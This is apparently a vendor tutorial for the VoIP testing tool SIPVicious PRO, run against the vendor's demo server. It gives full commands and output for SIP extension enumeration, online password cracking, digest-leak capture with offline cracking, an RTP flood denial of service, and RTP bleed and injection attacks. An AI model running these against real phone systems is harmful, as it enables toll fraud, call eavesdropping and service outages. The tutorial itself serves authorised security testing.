Skip to main content

Tutorial

Introduction

This Getting Started document will walk you through your first time using SIPVicious PRO (SVPRO) and, we aspire, will get you excited about trying out different attacks on your targets.

This document assumes that you have already obtained SVPRO from an authorized channel. If not, please visit the Contact page. If, on the other hand, you have already acquired SVPRO but have not yet figured out how to get it installed, you are kindly asked to visit the installation page.

For this document and general purposes, we have made available a target server for demonstrative purposes at demo.sipvicious.pro which hosts a Kamailio Server that handles SIP over UDP, TCP, TLS as well as WebSockets. Behind that, the observant tester, may notice an Asterisk server that handles the voicemail and echo services as well as RTPEngine to process the media traffic. Together, these software packages allow us to reproduce some common security vulnerabilities that SVPRO is meant to help detect and demonstrate.

And so, without further ado, we shall proceed with the first step in so many penetration tests, security assessments and security testing of real-time communications systems.

Reconnaissance

As a security tester, your first step often is to understand what the target consists of. With SVPRO, one can make use of the repeater command under the sip utils subcommands as follows:

sipvicious sip utils repeater udp://demo.sipvicious.pro:5060

INFO[2021-01-26 10:05:54] OPTIONS sip:demo.sipvicious.pro SIP/2.0
Via: SIP/2.0/UDP 172.104.153.157:59086;rport;branch=z9hG4bK-20cuFodMa4yaCHpi
Max-Forwards: 70
From: <sip:ue61zFxd@demo.sipvicious.pro>;tag=kTp42FoDkHX1ILP9
To: <sip:Qnua4a3k@demo.sipvicious.pro>
Call-ID: t4FyLYLQgLDTpfJY
CSeq: 1 OPTIONS
Accept: application/sdp
Content-Length: 0
 
INFO[2021-01-26 10:05:54] SIP/2.0 200 Keepalive
Via: SIP/2.0/UDP 172.104.153.157:59086;rport=59086;branch=z9hG4bK-20cuFodMa4yaCHpi;received=172.104.153.157
From: <sip:ue61zFxd@demo.sipvicious.pro>;tag=kTp42FoDkHX1ILP9
To: <sip:Qnua4a3k@demo.sipvicious.pro>;tag=1fe0194448ea45615c07045ea73eef56.5bb1bfb4
Call-ID: t4FyLYLQgLDTpfJY
CSeq: 1 OPTIONS
Server: kamailio (5.4.2 (x86_64/linux))
Content-Length: 0
 
INFO[2021-01-26 10:05:54] successfully returned
- target: udp://demo.sipvicious.pro:5060
  - status: ok
    results:
    - response:
        SIP/2.0 200 Keepalive
        Via: SIP/2.0/UDP 172.104.153.157:59086;rport=59086;branch=z9hG4bK-20cuFodMa4yaCHpi;received=172.104.153.157
        From: <sip:ue61zFxd@demo.sipvicious.pro>;tag=kTp42FoDkHX1ILP9
        To: <sip:Qnua4a3k@demo.sipvicious.pro>;tag=1fe0194448ea45615c07045ea73eef56.5bb1bfb4
        Call-ID: t4FyLYLQgLDTpfJY
        CSeq: 1 OPTIONS
        Server: kamailio (5.4.2 (x86_64/linux))
        Content-Length: 0


    issues:
      N/A

Through your powers of observation, the dear reader might have noticed the Server header indicating something that we already know; that it is a Kamailio Server that listens on UDP port 5060. Slightly outdated but do not worry, it will be upgraded soon.

One may then proceed to check how a particular (previously known) extension responds by appending that extension to the previous command as follows:

sipvicious sip utils repeater udp://demo.sipvicious.pro:5060 -e 1000

INFO[2021-01-26 10:07:56] OPTIONS sip:1000@demo.sipvicious.pro SIP/2.0
Via: SIP/2.0/UDP 172.104.153.157:52104;rport;branch=z9hG4bK-ytiUaHUP5Xo2NhZ9
Max-Forwards: 70
From: <sip:g4XWjRAo@demo.sipvicious.pro>;tag=WfQyZApQ2Q6Krw7U
To: <sip:1000@demo.sipvicious.pro>
Call-ID: BibpDn23owUTZE8A
CSeq: 1 OPTIONS
Contact: <sip:g4XWjRAo@172.104.153.157:52104;transport=udp>
Accept: application/sdp
Content-Length: 0
 
INFO[2021-01-26 10:07:56] SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 172.104.153.157:52104;rport=52104;received=172.104.153.157;branch=z9hG4bK-ytiUaHUP5Xo2NhZ9
Call-ID: BibpDn23owUTZE8A
From: <sip:g4XWjRAo@demo.sipvicious.pro>;tag=WfQyZApQ2Q6Krw7U
To: <sip:1000@demo.sipvicious.pro>;tag=z9hG4bK73e4.2212ab90330cce0b81cf7e55f95e6c54.0
CSeq: 1 OPTIONS
WWW-Authenticate: realm="asterisk",nonce="1611655676/62ace58e12ce2b075f7cfed399d2cd3d",opaque="58c2230d3f9d0c9f",algorithm=md5,qop="auth"
Server: Asterisk PBX 17.8.1
Content-Length: 0
 
INFO[2021-01-26 10:07:56] successfully returned
- target: udp://demo.sipvicious.pro:5060
  - status: ok
    results:
    - response:
        SIP/2.0 401 Unauthorized
        Via: SIP/2.0/UDP 172.104.153.157:52104;rport=52104;received=172.104.153.157;branch=z9hG4bK-ytiUaHUP5Xo2NhZ9
        Call-ID: BibpDn23owUTZE8A
        From: <sip:g4XWjRAo@demo.sipvicious.pro>;tag=WfQyZApQ2Q6Krw7U
        To: <sip:1000@demo.sipvicious.pro>;tag=z9hG4bK73e4.2212ab90330cce0b81cf7e55f95e6c54.0
        CSeq: 1 OPTIONS
        WWW-Authenticate: realm="asterisk",nonce="1611655676/62ace58e12ce2b075f7cfed399d2cd3d",opaque="58c2230d3f9d0c9f",algorithm=md5,qop="auth"
        Server: Asterisk PBX 17.8.1
        Content-Length: 0
        
        

    issues:
      N/A

This time, your keen eyesight might detect that extension 1000 is handled by an Asterisk server that is behind the Kamailio Server.

At this point, one might wonder, what SIP methods are allowed on the Kamailio server? To quench your thirst for this knowledge, you might want to make use of the sip enumerate methods command as follows:

sipvicious sip enumerate methods udp://demo.sipvicious.pro:5060

INFO[2021-01-26 10:09:05] Sending INVITE to udp://demo.sipvicious.pro:5060 for sip:32hi3tE8@demo.sipvicious.pro 
INFO[2021-01-26 10:09:05] Received 404 enumerate me baby
INFO[2021-01-26 10:09:09] successfully returned
- target: udp://demo.sipvicious.pro:5060
  - status: ok
    results:
    - responses:
        REGISTER - supported (404 enumerate me baby)
        SUBSCRIBE - supported (407 Proxy Authentication Required)
        NOTIFY - supported (404 enumerate me baby)
        PUBLISH - supported (404 enumerate me baby)
        MESSAGE - supported (404 enumerate me baby)
        INVITE - supported (404 enumerate me baby)
        OPTIONS - supported (200 Keepalive)
        BYE - supported (481 Call/Transaction Does Not Exist)
        CANCEL - not supported (no response)
        ACK - not supported (no response)
        PRACK - supported (401 Unauthorized)
        INFO - supported (401 Unauthorized)
        REFER - supported (400 Missing Contact header)
        UPDATE - supported (401 Unauthorized)

    issues:
      N/A

The command is likely to return the above results, showing that a number of methods return 404, which is likely to allow for SIP extension enumeration (but more on that later) while SUBSCRIBE returns a 407 and OPTIONS a 200 response, when no extension is specified.

When the same command is run, but this time a known extension is specified, such as 1000, the results are somewhat different.

sipvicious sip enumerate methods udp://demo.sipvicious.pro:5060 -e 1000

INFO[2021-01-26 10:09:43] Sending INVITE to udp://demo.sipvicious.pro:5060 for sip:hM31HXOJ@demo.sipvicious.pro 
INFO[2021-01-26 10:09:43] Received 401 Unauthorized
INFO[2021-01-26 10:09:47] successfully returned
- target: udp://demo.sipvicious.pro:5060
  - status: ok
    results:
    - responses:
        REGISTER - supported (401 Unauthorized)
        SUBSCRIBE - supported (407 Proxy Authentication Required)
        NOTIFY - supported (401 Unauthorized)
        PUBLISH - supported (401 Unauthorized)
        MESSAGE - supported (401 Unauthorized)
        INVITE - supported (100 I'd far rather be happy than right any day)
        OPTIONS - supported (401 Unauthorized)
        BYE - supported (481 Call/Transaction Does Not Exist)
        CANCEL - not supported (no response)
        ACK - not supported (no response)
        PRACK - supported (401 Unauthorized)
        INFO - supported (401 Unauthorized)
        REFER - supported (401 Unauthorized)
        UPDATE - supported (401 Unauthorized)

    issues:
      N/A

We can start by observing that the SUBSCRIBE method, in both cases, returns a 407. If one were to inspect the Server headers, one would notice that in both cases, the 407 responses are returned by the Kamailio Server which always requires authorization for this particular method.

The REGISTER message returned a 404 response in the first case because the Kamailio server is configured to respond accordingly when the specified SIP extension, which in this particular case was randomly set by SVPRO, is not known. In the second case, where the SIP extension is known, the Kamailio server forwarded the REGISTER message to Asterisk which promptly challenged it for authentication.

Further discussion could be had on this very topic of basic reconnaissance especially in cases where the infrastructure design is more complicated than the one being exhibited here. However, the author will now proceed to the next topic of traditional SIP attacks, lest the reader looses interest and choose to visit more colourful web pages.

Before we move on to the next topic, it is somewhat useful to consider making use of the sip utils ping and sip utils call modules within SVPRO during the reconnaissance stage.

Next up …

SIP extension enumeration and online password cracking

Much has been said of SIP extension enumeration as well as online password cracking of SIP extensions. Alas, it is a vulnerability that still, somewhat, persists to this day even if most publicly available SIP systems have addressed these security issues in their latest and greatest. During an attack, SIP extension enumeration forces the target to inform the attacker which SIP extensions are available for registration. Then, the identified SIP extensions are subjected to a password cracking attack until at least one weak password is discovered. This is a common attack pattern that may reward cyber-criminals with toll-fraud, leading to income for the fraudsters at the expense of the victim company that runs the PBX server.

To reproduce this attack, the audience may make use of the following command in SVPRO:

sipvicious sip enumerate extensions udp://demo.sipvicious.pro:5060

INFO[2021-01-26 10:12:02] Target is probably vulnerable using NOTIFY (setting responseStatusCode:404, responseReasonPhrase:enumerate me baby)
INFO[2021-01-26 10:12:02] Target is probably vulnerable using REGISTER (setting responseStatusCode:404, responseReasonPhrase:enumerate me baby)
INFO[2021-01-26 10:12:02] Target is probably vulnerable using MESSAGE (setting responseStatusCode:404, responseReasonPhrase:enumerate me baby)
INFO[2021-01-26 10:12:02] Target is probably vulnerable using INVITE (setting responseStatusCode:404, responseReasonPhrase:enumerate me baby)
INFO[2021-01-26 10:12:02] Target is probably vulnerable using PUBLISH (setting responseStatusCode:404, responseReasonPhrase:enumerate me baby) INFO[2021-01-26 10:12:02] Target is probably vulnerable using OPTIONS (setting responseStatusCode:404, responseReasonPhrase:enumerate me baby) 
INFO[2021-01-26 10:12:02] Target is probably not vulnerable using SUBSCRIBE INFO[2021-01-26 10:12:02] enumerating with method NOTIFY, status code 404 INFO[2021-01-26 10:12:03] found extension 1009
INFO[2021-01-26 10:12:03] found extension 1008
INFO[2021-01-26 10:12:03] found extension 1007
INFO[2021-01-26 10:12:03] found extension 1006
INFO[2021-01-26 10:12:03] found extension 1005
INFO[2021-01-26 10:12:03] found extension 1004
INFO[2021-01-26 10:12:03] found extension 1000
INFO[2021-01-26 10:12:03] found extension 1002
INFO[2021-01-26 10:12:03] found extension 1003
INFO[2021-01-26 10:12:03] found extension 1001
INFO[2021-01-26 10:12:03] found extension 1100
INFO[2021-01-26 10:12:03] found extension 1200
INFO[2021-01-26 10:12:03] found extension 1300
INFO[2021-01-26 10:12:03] found extension 1400
INFO[2021-01-26 10:12:03] found extension 2000
WARN[2021-01-26 10:12:06] vulnerable to extension enumeration
- target: udp://demo.sipvicious.pro:5060
  - status: security issue, vulnerable to extension enumeration
    results:
    - methods:
        Target is potentially vulnerable using NOTIFY (used for enumeration, setting responseStatusCode: 404, responseReasonPhrase: enumerate me baby)
        Target is potentially vulnerable using REGISTER (setting responseStatusCode: 404, responseReasonPhrase: enumerate me baby)
        Target is potentially vulnerable using MESSAGE (setting responseStatusCode: 404, responseReasonPhrase: enumerate me baby)
        Target is potentially vulnerable using INVITE (setting responseStatusCode: 404, responseReasonPhrase: enumerate me baby)
        Target is potentially vulnerable using PUBLISH (setting responseStatusCode: 404, responseReasonPhrase: enumerate me baby)
        Target is potentially vulnerable using OPTIONS (setting responseStatusCode: 404, responseReasonPhrase: enumerate me baby)
    issues:
    - extensions:
        1009 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1008 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1007 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1006 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1005 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1004 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1000 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1002 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1003 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1001 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1100 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1200 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1300 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1400 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        2000 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)

The reader is encouraged to pick extension 1000 and attempt to guess its password by making use of another SVPRO module, sip crack online, as follows:

sipvicious sip crack online udp://demo.sipvicious.pro:5060 -e 1000 -r 1000-2000

INFO[2021-01-26 10:14:48] Starting password cracking attack             target="udp://demo.sipvicious.pro:5060"
INFO[2021-01-26 10:14:48] Starting ext pattern cracking attack          target="udp://demo.sipvicious.pro:5060"
INFO[2021-01-26 10:14:49] Starting password range attack                target="udp://demo.sipvicious.pro:5060"
INFO[2021-01-26 10:14:50] Password found  ext: 1000, user: 1000, pwd: 1500 
INFO[2021-01-26 10:14:50] Found password extension=1000 user=1000 password=1500  target="udp://demo.sipvicious.pro:5060"
WARN[2021-01-26 10:14:52] password cracked
- target: udp://demo.sipvicious.pro:5060
  - status: security issue, password cracked
    results:
      N/A
    issues:
    - crackedpassword:
        ext: 1000, user: 1000, password: 1500

In this case, SVPRO made use of some well-thought defaults to send various authentication requests that happen to make use of the REGISTER method, computing a response to the challenge, each time iterating through different numeric passwords. When the password was the correct one, Asterisk responded to SVPRO with a 200 indicating that it is now registered as the rightful owner of extension 1000.

From here, most cyber-criminals would start making phone calls to premium phone numbers setup to provide them with direct income or run similarly illegal schemes.

However, for our part, as security professionals, we are likely to take note (and perhaps, produce a report) and move on to test for other potential vulnerabilities, such as the SIP digest leak.

SIP Digest Leak

The SIP Digest Leak is a security issue that is found in various shapes, affecting SIP user-agents (i.e. phones) directly and sometimes, SIP proxies such as Kamailio when not configured to handle the attack. In short, it consists of an attacker asking a victim caller or callee to authenticate, and the victim’s phone system obliging.

To reproduce this attack, one often needs to identify a way to start a call with the victim user who picks up the call and (perhaps, eventually) hangs up. When this happens, the attacker sends back an authentication request (in the form of a 407 SIP response) to which the victim may (automatically) respond with a challenge response. When such an attack is done through a SIP proxy, the proxy needs to relay both the 407 SIP response and also the SIP request with the authentication header containing the challenge response.

To identify such an extension, the tester might make use of the sip enumerate extensions module again but this time politely ask SVPRO to make use of the INVITE method.

sipvicious sip enumerate extensions udp://demo.sipvicious.pro:5060  -m invite

INFO[2021-01-26 10:15:30] Target is probably vulnerable using INVITE (setting responseStatusCode:404, responseReasonPhrase:enumerate me baby) 
INFO[2021-01-26 10:15:30] enumerating with method INVITE, status code 404 
INFO[2021-01-26 10:15:31] found extension 1001
INFO[2021-01-26 10:15:31] found extension 1000
INFO[2021-01-26 10:15:31] found extension 1002
INFO[2021-01-26 10:15:31] found extension 1009
INFO[2021-01-26 10:15:31] found extension 1008
INFO[2021-01-26 10:15:31] found extension 1007
INFO[2021-01-26 10:15:31] found extension 1006
INFO[2021-01-26 10:15:31] found extension 1005
INFO[2021-01-26 10:15:31] found extension 1004
INFO[2021-01-26 10:15:31] found extension 1003
INFO[2021-01-26 10:15:31] found extension 1100
INFO[2021-01-26 10:15:31] found extension 1200
INFO[2021-01-26 10:15:31] found extension 1300
INFO[2021-01-26 10:15:31] found extension 1400
INFO[2021-01-26 10:15:31] extension 2000 exists, does not require auth or message got routed 
WARN[2021-01-26 10:15:35] vulnerable to extension enumeration
- target: udp://demo.sipvicious.pro:5060
  - status: security issue, vulnerable to extension enumeration
    results:
    - methods:
        Target is potentially vulnerable using INVITE (used for enumeration, setting responseStatusCode: 404, responseReasonPhrase: enumerate me baby)

    issues:
    - extensions:
        1001 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1000 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1002 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1009 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1008 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1007 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1006 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1005 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1004 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1003 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1100 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1200 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1300 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)
        1400 (reason: change_in_statuscode, statuscode: 401, reasonphrase: Unauthorized)

The ever observant of you might notice that extension 2000 is particularly delightful, as it does not appear to require authentication. This extension has also been configured to be handled by Kamailio so that our dear audience may easily reproduce the digest leak vulnerability. Upon calling extension 2000, a monkey at the other end is programmed to pick up the call and hangup immediately to help demonstrate this vulnerability consistently.

To do so, the following command may be used:

sipvicious sip crack digest udp://demo.sipvicious.pro:5060 -e 2000

INFO[2021-01-26 10:16:17] Sending INVITE to udp://demo.sipvicious.pro:5060 for sip:mfBy4NE9@demo.sipvicious.pro 
INFO[2021-01-26 10:16:17] Call picked up by sip:2000@demo.sipvicious.pro 
INFO[2021-01-26 10:16:17] Playing music.wav
INFO[2021-01-26 10:16:17] Received BYE, challenging that with a 407
INFO[2021-01-26 10:16:17] Digest leaked: response: 1ebbd5794eb0482e7e66904ed2c06152, realm=demo.sipvicious.pro, nonce=TGHY, uri=sip:mfBy4NE9@172.104.153.157:60085;transport=udp, method=BYE, username=2000 
INFO[2021-01-26 10:16:17] BYE received, terminating call
WARN[2021-01-26 10:16:19] digest leaked
- target: udp://demo.sipvicious.pro:5060
  - status: security issue, digest leaked
    results:
      N/A
    issues:
    - digestleak:
        response: 1ebbd5794eb0482e7e66904ed2c06152, realm=demo.sipvicious.pro, nonce=TGHY, uri=sip:mfBy4NE9@172.104.153.157:60085;transport=udp, method=BYE, username=2000

The challenge response can be observed by the attacker, indicating that the phone did indeed automatically respond to the 407 with an attempt to authenticate which was relayed back to the attacker. Some might be satisfied with the result, take note and move on. However, it is perfectly understandable if one decides to take matters further. In fact, one could make use of powerful tools such as hashcat or the venerable John the Ripper to recover the password from these results.

Here, we are going to ask the sip crack digest module to generate an output file so that it can be then fed to John:

sipvicious sip crack digest udp://demo.sipvicious.pro:5060 -e 2000 -o digestleak.john

This time, a file called digestleak.john is produced with contents similar to the ones below:

$sip$*demo.sipvicious.pro*192.168.188.23*2000*demo.sipvicious.pro*BYE*sip*6CNLSB0f@192.168.188.23*48624;transport=udp;alias=10.10.10.10~48624~1*4U1f**0**MD5*aa4bd1c7ae9900552c1d22c23eb8bc2b

John may then be summoned by typing something like the following:

john digestleak.john

Warning: detected hash type "SIP", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Warning: detected hash type "SIP", but the string is also recognized as "HMAC-SHA512"
Use the "--format=HMAC-SHA512" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SIP [MD5 32/64])
Will run 12 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:./password.lst, rules:Wordlist
2000             (?)
1g 0:00:00:00 DONE 2/3 (2020-05-29 16:21) 20.00g/s 3137Kp/s 3137Kc/s 3137KC/s 123456..Sssing
Use the "--show" option to display all of the cracked passwords reliably
Session completed

There are various nuances that may be discussed on the topic of digest leak attacks, such as how to attack SIP phones directly or how such an attack may be done by getting the victim to call the attacker. However, we risk sending the dear audience to a good night’s sleep by doing so.

Instead, we shall proceed to describe how to use SVPRO to attack recording systems with large audio files.

RTP Flood

Voice (and video) recording systems, such as voicemail, have a tendency of creating files. In typical conditions, monitoring systems and limitations on the size of such files would be in place with the assumption that the endpoint producing the RTP, does so at a rate that is expected of well-behaved RTP traffic. With an RTP flood attack, we challenge this assumption by sending an overwhelming amount of RTP packets in the time when normally just a few would have been delivered. Anyone abusing this behaviour successfully could take the recording system offline and perhaps, anything that depends on it.

The next exercise is meant to reproduce this situation. One may proceed by making use of the following command:

sipvicious rtp flood udp://demo.sipvicious.pro:5060 -e 1100 -u 1000:1500

The output from this module is not particularly dramatic as can be seen below:

INFO[2021-01-26 10:22:12] Sending INVITE to udp://demo.sipvicious.pro:5060 for sip:1000@demo.sipvicious.pro 
INFO[2021-01-26 10:22:12] Received 401 Unauthorized                    
INFO[2021-01-26 10:22:12] Sending INVITE to udp://demo.sipvicious.pro:5060 for sip:1000@demo.sipvicious.pro 
INFO[2021-01-26 10:22:12] Call picked up by sip:1100@demo.sipvicious.pro 
INFO[2021-01-26 10:22:12] Playing music.wav

The reason behind this lack of sensation is mainly because the esteemed authors of SIPVicious PRO failed to find a way to get feedback during this attack. To observe the result of this attack, the audience is instead directed to the web location exposing the Asterisk voicemail directory where it can be seen filling up with files as the attack progresses.

Voicemail directory exposed to monitor RTP flood attacks

A keen tester might notice that the voicemail directory on the demo server is cleaned up after a while, once the file is beyond a certain size. This is our attempt at keeping the server running. On a real target, one might be tempted to create many concurrent calls, perhaps all generating recordings below a certain size. Such techniques may allow bypassing of a number of protection mechanisms while denying service to legitimate users. While we are on the topic of RTP, we can discuss a separate attack that abuses something quite different.

RTP Bleed

Network address translation is considered by many (at least that subculture which develops real-time communications software) to have inflicted a great deal of pain on human nature. To ease some of its side-effects, RTP proxies often learn where to send RTP traffic based on who sends RTP traffic. A proper and full explanation of this vulnerability is beyond this humble document but one is encouraged to delve into the scriptures published on rtpbleed.com.

The security tester may make use of the demo server to see with her, or his, own eyes the workings on RTP bleed. The target server is perfect for proving this particular attack because, at any time, it has an ongoing number of test calls ready to be hijacked by would-be attackers or modest security testers. Let us advance with some typing on our keyboards:

sipvicious rtp bleed udp://demo.sipvicious.pro -p35000-40000

The output of which might look like the one seen below:

INFO[2021-01-26 10:18:23] received rtcp probe from 172.104.142.43:38093
INFO[2021-01-26 10:18:23] starting attack against 172.104.142.43:38093 from 0.0.0.0:53473
INFO[2021-01-26 10:18:23] we need to wait for attack to stop
INFO[2021-01-26 10:18:44] attack on 172.104.142.43:38093 seems to have stopped, continuing
INFO[2021-01-26 10:18:45] received rtcp probe from 172.104.142.43:38783
INFO[2021-01-26 10:18:45] starting attack against 172.104.142.43:38783 from 0.0.0.0:45501
INFO[2021-01-26 10:19:06] attack on 172.104.142.43:38783 seems to have stopped, continuing 
INFO[2021-01-26 10:19:08] received rtcp probe from 172.104.142.43:39465 
INFO[2021-01-26 10:19:08] starting attack against 172.104.142.43:39465 from 0.0.0.0:55187 
INFO[2021-01-26 10:19:08] we need to wait for attack to stop
INFO[2021-01-26 10:19:29] attack on 172.104.142.43:39465 seems to have stopped, continuing 
WARN[2021-01-26 10:19:31] RTP bleed detected
- target: 172.104.142.43:38093
  - status: security issue, RTP bleed detected
    results:
      N/A
    issues:
    - stats:
        RTP packets received: 0, RTCP packets received: 10
- target: 172.104.142.43:38113
  - status: security issue, RTP bleed detected
    results:
      N/A
    issues:
    - stats:
        RTP packets received: 0, RTCP packets received: 3
- target: 172.104.142.43:38783
  - status: security issue, RTP bleed detected
    results:
      N/A
    issues:
    - stats:
        RTP packets received: 0, RTCP packets received: 9
- target: 172.104.142.43:38795
  - status: security issue, RTP bleed detected
    results:
      N/A
    issues:
    - stats:
        RTP packets received: 0, RTCP packets received: 1
- target: 172.104.142.43:39465
  - status: security issue, RTP bleed detected
    results:
      N/A
    issues:
    - stats:
        RTP packets received: 0, RTCP packets received: 10
- target: 172.104.142.43:39485
  - status: security issue, RTP bleed detected
    results:
      N/A
    issues:
    - stats:
        RTP packets received: 0, RTCP packets received: 4

Now, it is perfectly understandable that one is underwhelmed by simple textual representations of what is actually happening. Testers might be tempted to quickly spin up Wireshark or a similar tool and inspect what is actually happening. This is, without doubt, an exemplary course of action but on a normal day, may not be required. The SVPRO RTP bleed module supports saving of pcap files as well as wav audio files through the output flag. In the following example, we make use of the output flag to save wav files from the RTP packets that are received:

sipvicious rtp bleed udp://demo.sipvicious.pro -p35000-40000 --output audio.wav

Once the test is finished, if any RTP is actually received, it can be found in the current directory.

ls -la *.wav
-rw-r--r--. 1 user group 2269804 Mar 25 16:47 audio-172.104.142.43_35126-local_41685.wav
-rw-r--r--. 1 user group    9884 Mar 25 16:47 audio-172.104.142.43_35234-local_49580.wav

A variety of flags for the rtp bleed module are available. While we shall not examine them in depth in this modest document, the reader is instructed in exploring a few of them. For example, the probe-during-attack flag is especially useful when using the RTP Bleed attack to cause denial of service on the RTP proxy; while the conn-count for specifying the number of concurrent RTP streams may be used to increase to chances of success.

And now, on to RTP Bleed’s older brother …

RTP Inject

Injection of RTP streams plagues a significant number of RTC entities, from media servers to user-agent clients. When this security vulnerability is successfully abused, attackers are able to insert their own RTP media either overriding the official stream or just contributing to it. Such nefarious actions may be used for a wide range of ends, from spam and social engineering to toll fraud through injection of DTMF tones.

To test for this issue, one should first set up a phone to register with the demo server. Our most cherished desktop softphone is Zoiper which can be configured as follows:

  • username / login: 1000@demo.sipvicious.pro
  • password: 1500

Zoiper configuration

Once the software phone is authenticated with the demo server, one should choose to call extension 1200 which runs the Asterisk echo application. This, in essence, transports the melody of one’s voice through the media server and back. With an ongoing call to the echo application, the dear tester may proceed to start the injection attack by typing:

sipvicious rtp inject udp://demo.sipvicious.pro -p 35000-40000

When running this test, the reader should hear additional sounds that are injected by SVPRO. The port range 35000 to 40000 is used, and the attack is run for 10 seconds by default. If the attacker were to be run until the tester decides to stop it, then an additional flag has to be added, -T 0.

Conclusion

In this document we have taken a peek at most of the modules in SIPVicious PRO with the notable exception of sip dos flood that is particularly effective in bringing down SIP servers, including the demo server at demo.sipvicious.pro. For more specific instructions on how to use each module in particular, extensive guidance is given in the CUI reference pages, while details on features such as the template system can be found in the relevant section.

Users of SIPVicious PRO are encouraged to make use of the toolset within their Continuous Integration environments and similar, for automated security testing of their products and services. For that end, we have provided documentation on this very topic in the automation section.

Finally, we hope that you enjoy making use of SIPVicious PRO as much as we do and that it helps you create more secure real-time communications systems!